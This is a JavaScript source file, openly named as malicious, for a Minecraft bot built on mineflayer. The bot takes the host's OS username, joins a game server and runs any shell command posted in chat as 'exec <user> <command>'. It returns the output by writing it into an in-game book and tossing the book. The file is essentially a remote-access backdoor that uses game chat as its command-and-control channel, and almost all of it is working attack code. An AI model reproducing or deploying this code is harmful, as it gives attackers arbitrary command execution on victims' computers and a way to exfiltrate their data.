minecraft_malicious_bot.js

// https://www.youtube.com/watch?v=WA3PcbWOYd8
const mineflayer = require('mineflayer')
const { exec } = require("child_process");
const util = require('util');
const exec_com = util.promisify(exec);

global.usser = "";

async function get_user() {
  const stats = await exec_com('whoami');
  usser = stats.stdout.split("\n")[0];
  console.log(usser);
}
get_user();

setTimeout(function() {
const bot = mineflayer.createBot({
  host: '192.168.182.1', // minecraft server ip
  username: global.usser, // minecraft username
  version: "1.12.2",             // only set if you need a specific version or snapshot (ie: "1.8.9" or "1.16.5"), otherwise it's set automatically
})
let mcData

bot.on('kill', function(stream) {
  once(bot,'spawn');
});

bot.on('windowOpen', async (window) => {
  window.requiresConfirmation = false // fix
  await bot.clickWindow(13, 0, 0)
  console.log(bot._events) // without the fix this code is unreachable, the promise never resolve
})
bot.on('windowClose', () => {
  console.log(bot._events) // without the fix there is a confirmTransaction1 listener that is never removed
})

bot.on('chat', (username, message) => {
	if (username === bot.username) return
	if (message.startsWith(`exec ${usser}`)){
		runcommand(message.split(`${usser}`)[1])
	}

})

async function runcommand(command) {
	exec(command, (error, stdout, stderr) => {
	    	// bot.chat(`stdout: ${stdout}`);
		var pages = [ stdout ].map(page => {
		return page
		    .split(' ')
		    .map((word, i) => `§${(i%13+1).toString(16)}${i%2?'§l':''}${word}`)
		    .join(' ')
			})
		write(pages);
		});

}

async function write (pages) {
  let mcData = require('minecraft-data')(bot.version)
  const [book] = bot.inventory.items().filter(({ name }) => name === 'writable_book')
  if (!book) {
    bot.chat("I don't have a book.")
    return
  }
  await bot.writeBook(book.slot, pages);
  toss();
}

function toss () {
  const [book] = bot.inventory.items().filter(({ name }) => name === 'writable_book')
  bot.tossStack(book)
}



// Log errors and kick reasons:
bot.on('kicked', console.log)
bot.on('error', console.log)
}, 1000);

function itemToString (item) {
  if (item) {
    return `${item.name} x ${item.count}`
  } else {
    return '(nothing)'
  }
}

function itemByType (items, type) {
  let item
  let i
  for (i = 0; i < items.length; ++i) {
    item = items[i]
    if (item && item.type === type) return item
  }
  return null
}

function itemByName (items, name) {
  let item
  let i
  for (i = 0; i < items.length; ++i) {
    item = items[i]
    if (item && item.name === name) return item
  }
  return null
}